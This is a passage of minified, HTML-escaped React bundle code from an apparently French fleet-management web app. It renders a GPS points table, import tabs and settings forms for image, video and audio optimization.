text-center&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucun point GPS trouvé pour ce véhicule&quot;})})}):a.jsxs(&quot;div&quot;,{className:&quot;border rounded-lg&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;overflow-x-auto max-h-[600px] overflow-y-auto&quot;,children:a.jsxs(nx,{children:[a.jsx(ix,{children:a.jsxs(n0,{children:[a.jsx(bi,{children:&quot;Date/Heure&quot;}),a.jsx(bi,{children:&quot;Latitude&quot;}),a.jsx(bi,{children:&quot;Longitude&quot;}),a.jsx(bi,{children:&quot;Vitesse&quot;}),a.jsx(bi,{children:&quot;Mouvement&quot;}),a.jsx(bi,{children:&quot;Adresse&quot;}),a.jsx(bi,{children:&quot;Source&quot;})]})}),a.jsx(ax,{children:u.map(A=&gt;a.jsxs(n0,{children:[a.jsx(mi,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1 text-sm&quot;,children:[a.jsx(Sl,{className:&quot;h-3 w-3&quot;}),Wr(new Date(A.ts),&quot;dd/MM/yyyy HH:mm:ss&quot;,{locale:Hr})]})}),a.jsx(mi,{className:&quot;font-mono text-sm&quot;,children:A.lat.toFixed(6)}),a.jsx(mi,{className:&quot;font-mono text-sm&quot;,children:A.lon.toFixed(6)}),a.jsx(mi,{children:A.speedKmh!==null?a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1&quot;,children:[a.jsx(L6,{className:&quot;h-3 w-3&quot;}),A.speedKmh.toFixed(1),&quot; km/h&quot;]}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;-&quot;})}),a.jsx(mi,{children:A.moving!==null&amp;&amp;A.moving!==void 0?a.jsx(yt,{variant:A.moving?&quot;default&quot;:&quot;secondary&quot;,children:A.moving?&quot;MOVING&quot;:&quot;STOPPED&quot;}):A.speedKmh!==null?a.jsx(yt,{variant:A.speedKmh&gt;3?&quot;default&quot;:&quot;secondary&quot;,children:A.speedKmh&gt;3?&quot;MOVING&quot;:&quot;STOPPED&quot;}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;—&quot;})}),a.jsx(mi,{children:A.raw&amp;&amp;typeof A.raw==&quot;object&quot;&amp;&amp;&quot;Address&quot;in A.raw?a.jsx(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground truncate max-w-[200px] block&quot;,children:String(A.raw.Address||&quot;&quot;)}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;—&quot;})}),a.jsx(mi,{children:a.jsx(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground truncate max-w-[150px] block&quot;,children:A.sourceFile})})]},A.id))})]})}),u.length&gt;=o&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;p-4 border-t text-sm text-muted-foreground text-center&quot;,children:[&quot;Affichage limité à &quot;,o,&quot; points. Augmentez la limite pour voir plus.&quot;]})]}):a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12 text-center&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Sélectionnez un véhicule pour voir ses points GPS&quot;})})})]})]})}function qqe(){return a.jsxs(ul,{defaultValue:&quot;import&quot;,className:&quot;space-y-6&quot;,children:[a.jsxs(Ro,{className:&quot;grid w-full grid-cols-5&quot;,children:[a.jsxs(hn,{value:&quot;import&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4&quot;}),&quot;Importer&quot;]}),a.jsxs(hn,{value:&quot;track-detail&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4&quot;}),&quot;Track-Detail&quot;]}),a.jsxs(hn,{value:&quot;points-viewer&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(yse,{className:&quot;h-4 w-4&quot;}),&quot;Points GPS&quot;]}),a.jsxs(hn,{value:&quot;mapping&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Xv,{className:&quot;h-4 w-4&quot;}),&quot;Mapping&quot;]}),a.jsxs(hn,{value:&quot;preview&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(O6,{className:&quot;h-4 w-4&quot;}),&quot;Aperçu&quot;]})]}),a.jsx(dn,{value:&quot;import&quot;,className:&quot;space-y-4&quot;,children:a.jsx(Oqe,{})}),a.jsx(dn,{value:&quot;track-detail&quot;,className:&quot;space-y-4&quot;,children:a.jsx(Uqe,{})}),a.jsx(dn,{value:&quot;points-viewer&quot;,className:&quot;space-y-4&quot;,children:a.jsx(Hqe,{})}),a.jsx(dn,{value:&quot;mapping&quot;,className:&quot;space-y-4&quot;,children:a.jsx(Lqe,{})}),a.jsx(dn,{value:&quot;preview&quot;,className:&quot;space-y-4&quot;,children:a.jsx(Mqe,{})})]})}const Cd={imageMaxSizePod:1024,imageMaxSizeIncident:1024,imageMaxSizeDefault:1280};function Gqe(){const{toast:e}=Er(),t=eo(),{data:r,isLoading:n}=cr({queryKey:[&quot;/api/settings/organization&quot;],queryFn:async()=&gt;await vg(),select:d=&gt;({imageMaxSizePod:d?.imageMaxSizePod??Cd.imageMaxSizePod,imageMaxSizeIncident:d?.imageMaxSizeIncident??Cd.imageMaxSizeIncident,imageMaxSizeDefault:d?.imageMaxSizeDefault??Cd.imageMaxSizeDefault})}),[i,s]=I.useState(Cd);I.useEffect(()=&gt;{r&amp;&amp;s({imageMaxSizePod:r.imageMaxSizePod??Cd.imageMaxSizePod,imageMaxSizeIncident:r.imageMaxSizeIncident??Cd.imageMaxSizeIncident,imageMaxSizeDefault:r.imageMaxSizeDefault??Cd.imageMaxSizeDefault})},[r]);const o=_r({mutationFn:async d=&gt;{const u=await vg(),p={companyName:u.companyName||&quot;Organisation&quot;,legalName:u.legalName||void 0,addressLine:u.addressLine||void 0,city:u.city||void 0,country:u.country||void 0,phone:u.phone||void 0,email:u.email||void 0,website:u.website||void 0,taxId:u.taxId||void 0,logoUrl:u.logoUrl||void 0,cloudinaryCloudName:u.cloudinaryCloudName||void 0,cloudinaryApiKey:u.cloudinaryApiKey||void 0,cloudinaryApiSecret:u.cloudinaryApiSecret||void 0,dispatchPhone:u.dispatchPhone||void 0,mechanicPhone:u.mechanicPhone||void 0,imageMaxSizePod:d.imageMaxSizePod,imageMaxSizeIncident:d.imageMaxSizeIncident,imageMaxSizeDefault:d.imageMaxSizeDefault};return await $4(p)},onSuccess:async()=&gt;{e({title:&quot;Paramètres sauvegardés&quot;,description:&quot;Les paramètres d&#039;optimisation d&#039;images ont été mis à jour avec succès.&quot;}),t.invalidateQueries({queryKey:[&quot;/api/settings/organization&quot;]});const{invalidateImageOptimizationCache:d}=await On(async()=&gt;{const{invalidateImageOptimizationCache:u}=await import(&quot;./image-optimization-config-36ZLt28A.js&quot;);return{invalidateImageOptimizationCache:u}},[]);d()},onError:d=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:d.message||&quot;Impossible de sauvegarder les paramètres&quot;})}}),l=d=&gt;{d.preventDefault(),o.mutate(i)},c=(d,u)=&gt;{const h=Math.max(256,Math.min(2048,u));s(p=&gt;({...p,[d]:h}))};return n?a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-muted-foreground&quot;})}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h4&quot;,{className:&quot;text-sm font-medium mb-2&quot;,children:&quot;Taille maximale des images&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-4&quot;,children:&quot;Configurez la taille maximale (en pixels) pour le côté le plus long des images selon leur type. Les images seront automatiquement redimensionnées pour réduire la consommation de données.&quot;})]}),a.jsx(&quot;div&quot;,{children:a.jsxs(&quot;form&quot;,{onSubmit:l,className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;imageMaxSizePod&quot;,children:&#039;Taille max - Preuve de livraison / Documents (preset &quot;pod&quot;)&#039;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4&quot;,children:[a.jsx(Xe,{id:&quot;imageMaxSizePod&quot;,type:&quot;number&quot;,min:&quot;256&quot;,max:&quot;2048&quot;,step:&quot;64&quot;,value:i.imageMaxSizePod??Cd.imageMaxSizePod,onChange:d=&gt;{const u=parseInt(d.target.value);isNaN(u)||c(&quot;imageMaxSizePod&quot;,u)},className:&quot;w-32&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;px (256-2048)&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Utilisé pour : justificatifs, bons de chargement, tickets de pesée, reçus de carburant, justificatifs de dépenses&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;imageMaxSizeIncident&quot;,children:`Taille max - Photos d&#039;incidents (preset &quot;incident&quot;)`}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4&quot;,children:[a.jsx(Xe,{id:&quot;imageMaxSizeIncident&quot;,type:&quot;number&quot;,min:&quot;256&quot;,max:&quot;2048&quot;,step:&quot;64&quot;,value:i.imageMaxSizeIncident??Cd.imageMaxSizeIncident,onChange:d=&gt;{const u=parseInt(d.target.value);isNaN(u)||c(&quot;imageMaxSizeIncident&quot;,u)},className:&quot;w-32&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;px (256-2048)&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Utilisé pour : photos d&#039;incidents, réponses aux incidents&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;imageMaxSizeDefault&quot;,children:&#039;Taille max - Autres images (preset &quot;default&quot;)&#039;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4&quot;,children:[a.jsx(Xe,{id:&quot;imageMaxSizeDefault&quot;,type:&quot;number&quot;,min:&quot;256&quot;,max:&quot;2048&quot;,step:&quot;64&quot;,value:i.imageMaxSizeDefault??Cd.imageMaxSizeDefault,onChange:d=&gt;{const u=parseInt(d.target.value);isNaN(u)||c(&quot;imageMaxSizeDefault&quot;,u)},className:&quot;w-32&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;px (256-2048)&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Utilisé pour : autres types d&#039;images (photos de véhicules, etc.)&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;flex justify-end gap-2 pt-4 border-t&quot;,children:a.jsx(ge,{type:&quot;submit&quot;,disabled:o.isPending,children:o.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Sauvegarde...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(A4,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Sauvegarder&quot;]})})})]})})]})}const Zn={videoEnabled:!0,videoMaxDurationSec:10,videoResolutionPreset:&quot;360p&quot;,videoMaxSizeBytes:8*1024*1024,videoPreferredCaptureMode:&quot;auto&quot;,videoThumbnailEnabled:!0,videoThumbnailMaxSize:240,videoThumbnailQuality:.5,videoRequireExactOrLower:!0};function Vqe(){const{toast:e}=Er(),t=eo(),r=(u,h)=&gt;{if(u==null)return h;const p=typeof u==&quot;string&quot;?parseFloat(u):Number(u);return isNaN(p)?h:p},n=(u,h)=&gt;u==null?h:typeof u==&quot;boolean&quot;?u:typeof u==&quot;string&quot;?u===&quot;true&quot;||u===&quot;1&quot;:!!u,{data:i,isLoading:s}=cr({queryKey:[&quot;/api/settings/organization&quot;],queryFn:async()=&gt;await vg(),select:u=&gt;{const h=u;return{videoEnabled:n(h.videoEnabled,Zn.videoEnabled),videoMaxDurationSec:r(h.videoMaxDurationSec,Zn.videoMaxDurationSec),videoResolutionPreset:h.videoResolutionPreset&amp;&amp;(h.videoResolutionPreset===&quot;144p&quot;||h.videoResolutionPreset===&quot;240p&quot;||h.videoResolutionPreset===&quot;360p&quot;||h.videoResolutionPreset===&quot;480p&quot;||h.videoResolutionPreset===&quot;720p&quot;||h.videoResolutionPreset===&quot;1080p&quot;)?h.videoResolutionPreset:Zn.videoResolutionPreset,videoMaxSizeBytes:r(h.videoMaxSizeBytes,Zn.videoMaxSizeBytes),videoPreferredCaptureMode:h.videoPreferredCaptureMode===&quot;auto&quot;||h.videoPreferredCaptureMode===&quot;mediaRecorder&quot;||h.videoPreferredCaptureMode===&quot;fileInput&quot;?h.videoPreferredCaptureMode:Zn.videoPreferredCaptureMode,videoThumbnailEnabled:n(h.videoThumbnailEnabled,Zn.videoThumbnailEnabled),videoThumbnailMaxSize:r(h.videoThumbnailMaxSize,Zn.videoThumbnailMaxSize),videoThumbnailQuality:r(h.videoThumbnailQuality,Zn.videoThumbnailQuality),videoRequireExactOrLower:n(h.videoRequireExactOrLower,Zn.videoRequireExactOrLower)}}}),[o,l]=I.useState(Zn);I.useEffect(()=&gt;{i&amp;&amp;l({videoEnabled:i.videoEnabled??Zn.videoEnabled,videoMaxDurationSec:i.videoMaxDurationSec??Zn.videoMaxDurationSec,videoResolutionPreset:i.videoResolutionPreset||Zn.videoResolutionPreset,videoMaxSizeBytes:i.videoMaxSizeBytes??Zn.videoMaxSizeBytes,videoPreferredCaptureMode:i.videoPreferredCaptureMode||Zn.videoPreferredCaptureMode,videoThumbnailEnabled:i.videoThumbnailEnabled??Zn.videoThumbnailEnabled,videoThumbnailMaxSize:i.videoThumbnailMaxSize??Zn.videoThumbnailMaxSize,videoThumbnailQuality:i.videoThumbnailQuality??Zn.videoThumbnailQuality,videoRequireExactOrLower:i.videoRequireExactOrLower??Zn.videoRequireExactOrLower})},[i]);const c=_r({mutationFn:async u=&gt;{const h=await vg(),A={companyName:h.companyName||&quot;Organisation&quot;,legalName:h.legalName||void 0,addressLine:h.addressLine||void 0,city:h.city||void 0,country:h.country||void 0,phone:h.phone||void 0,email:h.email||void 0,website:h.website||void 0,taxId:h.taxId||void 0,logoUrl:h.logoUrl||void 0,cloudinaryCloudName:h.cloudinaryCloudName||void 0,cloudinaryApiKey:h.cloudinaryApiKey||void 0,cloudinaryApiSecret:h.cloudinaryApiSecret||void 0,dispatchPhone:h.dispatchPhone||void 0,mechanicPhone:h.mechanicPhone||void 0,videoEnabled:u.videoEnabled??Zn.videoEnabled,videoMaxDurationSec:u.videoMaxDurationSec??Zn.videoMaxDurationSec,videoResolutionPreset:u.videoResolutionPreset||Zn.videoResolutionPreset,videoMaxSizeBytes:u.videoMaxSizeBytes??Zn.videoMaxSizeBytes,videoPreferredCaptureMode:u.videoPreferredCaptureMode||Zn.videoPreferredCaptureMode,videoThumbnailEnabled:u.videoThumbnailEnabled??Zn.videoThumbnailEnabled,videoThumbnailMaxSize:u.videoThumbnailMaxSize??Zn.videoThumbnailMaxSize,videoThumbnailQuality:u.videoThumbnailQuality??Zn.videoThumbnailQuality,videoRequireExactOrLower:u.videoRequireExactOrLower??Zn.videoRequireExactOrLower};return await $4(A)},onSuccess:async()=&gt;{e({title:&quot;Paramètres sauvegardés&quot;,description:&quot;Les paramètres d&#039;optimisation vidéo ont été mis à jour avec succès.&quot;}),await t.invalidateQueries({queryKey:[&quot;/api/settings/organization&quot;]}),await t.refetchQueries({queryKey:[&quot;/api/settings/organization&quot;]});const{invalidateVideoOptimizationCache:u}=await On(async()=&gt;{const{invalidateVideoOptimizationCache:h}=await Promise.resolve().then(()=&gt;$$);return{invalidateVideoOptimizationCache:h}},void 0);u()},onError:u=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:u.message||&quot;Impossible de sauvegarder les paramètres&quot;})}}),d=u=&gt;{u.preventDefault(),c.mutate(o)};return s?a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-muted-foreground&quot;})}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h4&quot;,{className:&quot;text-sm font-medium mb-2&quot;,children:&quot;Paramètres de capture vidéo&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-4&quot;,children:&quot;Configurez les paramètres d&#039;optimisation vidéo pour réduire la consommation de données. Les vidéos seront capturées et validées selon ces paramètres.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:d,className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;videoEnabled&quot;,children:&quot;Activer l&#039;optimisation vidéo&quot;}),a.jsxs(rn,{value:String(!!(o.videoEnabled??Zn.videoEnabled)),onValueChange:u=&gt;l(h=&gt;({...h,videoEnabled:u===&quot;true&quot;})),children:[a.jsx(Xr,{id:&quot;videoEnabled&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;true&quot;,children:&quot;Activé&quot;}),a.jsx(Qt,{value:&quot;false&quot;,children:&quot;Désactivé&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;videoMaxDurationSec&quot;,children:&quot;Durée maximale (secondes)&quot;}),a.jsx(Xe,{id:&quot;videoMaxDurationSec&quot;,type:&quot;number&quot;,min:&quot;1&quot;,max:&quot;60&quot;,step:&quot;1&quot;,value:o.videoMaxDurationSec||Zn.videoMaxDurationSec,onChange:u=&gt;{const h=parseInt(u.target.value);isNaN(h)||l(p=&gt;({...p,videoMaxDurationSec:h}))},className:&quot;w-32&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Durée maximale d&#039;enregistrement vidéo (1-60s)&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;videoResolutionPreset&quot;,children:&quot;Résolution maximale&quot;}),a.jsxs(rn,{value:o.videoResolutionPreset||Zn.videoResolutionPreset,onValueChange:u=&gt;l(h=&gt;({...h,videoResolutionPreset:u})),children:[a.jsx(Xr,{id:&quot;videoResolutionPreset&quot;,children:a.jsx(nn,{})}),a.jsx(en,{children:Object.keys(vN).map(u=&gt;{const{widthIdeal:h,heightIdeal:p}=vN[u];return a.jsxs(Qt,{value:u,children:[u,&quot; (&quot;,h,&quot;x&quot;,p,&quot;)&quot;]},u)})})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Plus bas = upload plus rapide. Par défaut: 360p&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;videoMaxSizeBytes&quot;,children:&quot;Taille maximale (MB)&quot;}),a.jsx(Xe,{id:&quot;videoMaxSizeBytes&quot;,type:&quot;number&quot;,min:&quot;1&quot;,max:&quot;100&quot;,step:&quot;1&quot;,value:o.videoMaxSizeBytes?Math.round(o.videoMaxSizeBytes/(1024*1024)):Math.round(Zn.videoMaxSizeBytes/(1024*1024)),onChange:u=&gt;{const h=parseInt(u.target.value);!isNaN(h)&amp;&amp;h&gt;0&amp;&amp;l(p=&gt;({...p,videoMaxSizeBytes:h*1024*1024}))},className:&quot;w-32&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Taille maximale du fichier vidéo (1-100 MB)&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;videoPreferredCaptureMode&quot;,children:&quot;Mode de capture préféré&quot;}),a.jsxs(rn,{value:o.videoPreferredCaptureMode||Zn.videoPreferredCaptureMode,onValueChange:u=&gt;l(h=&gt;({...h,videoPreferredCaptureMode:u})),children:[a.jsx(Xr,{id:&quot;videoPreferredCaptureMode&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;auto&quot;,children:&quot;Auto (MediaRecorder si disponible)&quot;}),a.jsx(Qt,{value:&quot;mediaRecorder&quot;,children:&quot;MediaRecorder uniquement&quot;}),a.jsx(Qt,{value:&quot;fileInput&quot;,children:&quot;Input fichier uniquement&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 border-t pt-4&quot;,children:[a.jsx(&quot;h5&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Thumbnail&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;videoThumbnailEnabled&quot;,children:&quot;Activer les thumbnails&quot;}),a.jsxs(rn,{value:String(!!(o.videoThumbnailEnabled??Zn.videoThumbnailEnabled)),onValueChange:u=&gt;l(h=&gt;({...h,videoThumbnailEnabled:u===&quot;true&quot;})),children:[a.jsx(Xr,{id:&quot;videoThumbnailEnabled&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;true&quot;,children:&quot;Activé&quot;}),a.jsx(Qt,{value:&quot;false&quot;,children:&quot;Désactivé&quot;})]})]})]}),o.videoThumbnailEnabled&amp;&amp;a.jsxs(a.Fragment,{children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;videoThumbnailMaxSize&quot;,children:&quot;Taille max thumbnail (px)&quot;}),a.jsx(Xe,{id:&quot;videoThumbnailMaxSize&quot;,type:&quot;number&quot;,min:&quot;64&quot;,max:&quot;512&quot;,step:&quot;16&quot;,value:o.videoThumbnailMaxSize??Zn.videoThumbnailMaxSize,onChange:u=&gt;{const h=parseInt(u.target.value);isNaN(h)||l(p=&gt;({...p,videoThumbnailMaxSize:h}))},className:&quot;w-32&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;videoThumbnailQuality&quot;,children:&quot;Qualité thumbnail (0-1)&quot;}),a.jsx(Xe,{id:&quot;videoThumbnailQuality&quot;,type:&quot;number&quot;,min:&quot;0.1&quot;,max:&quot;1&quot;,step:&quot;0.1&quot;,value:o.videoThumbnailQuality??Zn.videoThumbnailQuality,onChange:u=&gt;{const h=parseFloat(u.target.value);isNaN(h)||l(p=&gt;({...p,videoThumbnailQuality:h}))},className:&quot;w-32&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;videoRequireExactOrLower&quot;,children:&quot;Refuser les vidéos supérieures au preset&quot;}),a.jsxs(rn,{value:String(!!(o.videoRequireExactOrLower??Zn.videoRequireExactOrLower)),onValueChange:u=&gt;l(h=&gt;({...h,videoRequireExactOrLower:u===&quot;true&quot;})),children:[a.jsx(Xr,{id:&quot;videoRequireExactOrLower&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;true&quot;,children:&quot;Oui (strict)&quot;}),a.jsx(Qt,{value:&quot;false&quot;,children:&quot;Non (tolérant)&quot;})]})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Si activé, refuse toute vidéo dont la hauteur dépasse le preset sélectionné&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;flex justify-end gap-2 pt-4 border-t&quot;,children:a.jsx(ge,{type:&quot;submit&quot;,disabled:c.isPending,children:c.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Sauvegarde...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(A4,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Sauvegarder&quot;]})})})]})]})}const ra={audioEnabled:!0,audioMaxDurationSec:30,audioBitrateKbps:24,audioChannels:1,audioPreferredMimeTypes:[&quot;audio/webm;codecs=opus&quot;,&quot;audio/webm&quot;],audioMaxSizeBytes:2*1024*1024,audioThumbnailWaveformEnabled:!1};function Wqe(){const{toast:e}=Er(),t=eo(),r=(u,h)=&gt;{if(u==null)return h;const p=typeof u==&quot;string&quot;?parseFloat(u):Number(u);return isNaN(p)?h:p},n=(u,h)=&gt;u==null?h:typeof u==&quot;boolean&quot;?u:typeof u==&quot;string&quot;?u===&quot;true&quot;||u===&quot;1&quot;:!!u,{data:i,isLoading:s}=cr({queryKey:[&quot;/api/settings/organization&quot;],queryFn:async()=&gt;await vg(),select:u=&gt;{const h=u;return{audioEnabled:n(h.audioEnabled,ra.audioEnabled),audioMaxDurationSec:r(h.audioMaxDurationSec,ra.audioMaxDurationSec),audioBitrateKbps:r(h.audioBitrateKbps,ra.audioBitrateKbps),audioChannels:h.audioChannels===1||h.audioChannels===2?h.audioChannels:ra.audioChannels,audioPreferredMimeTypes:h.audioPreferredMimeTypes&amp;&amp;Array.isArray(h.audioPreferredMimeTypes)?h.audioPreferredMimeTypes:ra.audioPreferredMimeTypes,audioMaxSizeBytes:r(h.audioMaxSizeBytes,ra.audioMaxSizeBytes),audioThumbnailWaveformEnabled:n(h.audioThumbnailWaveformEnabled,ra.audioThumbnailWaveformEnabled)}}}),[o,l]=I.useState(ra);I.useEffect(()=&gt;{i&amp;&amp;l({audioEnabled:i.audioEnabled??ra.audioEnabled,audioMaxDurationSec:i.audioMaxDurationSec??ra.audioMaxDurationSec,audioBitrateKbps:i.audioBitrateKbps??ra.audioBitrateKbps,audioChannels:i.audioChannels||ra.audioChannels,audioPreferredMimeTypes:i.audioPreferredMimeTypes||ra.audioPreferredMimeTypes,audioMaxSizeBytes:i.audioMaxSizeBytes??ra.audioMaxSizeBytes,audioThumbnailWaveformEnabled:i.audioThumbnailWaveformEnabled??ra.audioThumbnailWaveformEnabled})},[i]);const c=_r({mutationFn:async u=&gt;{const h=await vg(),A={companyName:h.companyName||&quot;Organisation&quot;,legalName:h.legalName||void 0,addressLine:h.addressLine||void 0,city:h.city||void 0,country:h.country||void 0,phone:h.phone||void 0,email:h.email||void 0,website:h.website||void 0,taxId:h.taxId||void 0,logoUrl:h.logoUrl||void 0,cloudinaryCloudName:h.cloudinaryCloudName||void 0,cloudinaryApiKey:h.cloudinaryApiKey||void 0,cloudinaryApiSecret:h.cloudinaryApiSecret||void 0,dispatchPhone:h.dispatchPhone||void 0,mechanicPhone:h.mechanicPhone||void 0,audioEnabled:u.audioEnabled??ra.audioEnabled,audioMaxDurationSec:u.audioMaxDurationSec??ra.audioMaxDurationSec,audioBitrateKbps:u.audioBitrateKbps??ra.audioBitrateKbps,audioChannels:u.audioChannels||ra.audioChannels,audioPreferredMimeTypes:u.audioPreferredMimeTypes||ra.audioPreferredMimeTypes,audioMaxSizeBytes:u.audioMaxSizeBytes??ra.audioMaxSizeBytes,audioThumbnailWaveformEnabled:u.audioThumbnailWaveformEnabled??ra.audioThumbnailWaveformEnabled};return await $4(A)},onSuccess:async()=&gt;{e({title:&quot;Paramètres sauvegardés&quot;,description:&quot;Les paramètres d&#039;optimisation audio ont été mis à jour avec succès.&quot;}),await t.invalidateQueries({queryKey:[&quot;/api/settings/organization&quot;]}),await t.refetchQueries({queryKey:[&quot;/api/settings/organization&quot;]});const{invalidateAudioOptimizationCache:u}=await On(async()=&gt;{const{invalidateAudioOptimizationCache:h}=await import(&quot;./audio-optimization-config-ifi0onXr.js&quot;);return{invalidateAudioOptimizationCache:h}},[]);u()},onError:u=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:u.message||&quot;Impossible de sauvegarder les paramètres&quot;})}}),d=u=&gt;{u.preventDefault(),c.mutate(o)};return s?a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-muted-foreground&quot;})}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h4&quot;,{className:&quot;text-sm font-medium mb-2&quot;,children:&quot;Paramètres d&#039;enregistrement audio&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-4&quot;,children:&quot;Configurez les paramètres d&#039;optimisation audio pour les notes vocales. Les enregistrements seront optimisés pour réduire la consommation de données et accélérer les uploads.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:d,className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;audioEnabled&quot;,children:&quot;Activer l&#039;optimisation audio&quot;}),a.jsxs(rn,{value:String(!!(o.audioEnabled??ra.audioEnabled)),onValueChange:u=&gt;l(h=&gt;({...h,audioEnabled:u===&quot;true&quot;})),children:[a.jsx(Xr,{id:&quot;audioEnabled&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;true&quot;,children:&quot;Activé&quot;}),a.jsx(Qt,{value:&quot;false&quot;,children:&quot;Désactivé&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;audioMaxDurationSec&quot;,children:&quot;Durée maximale 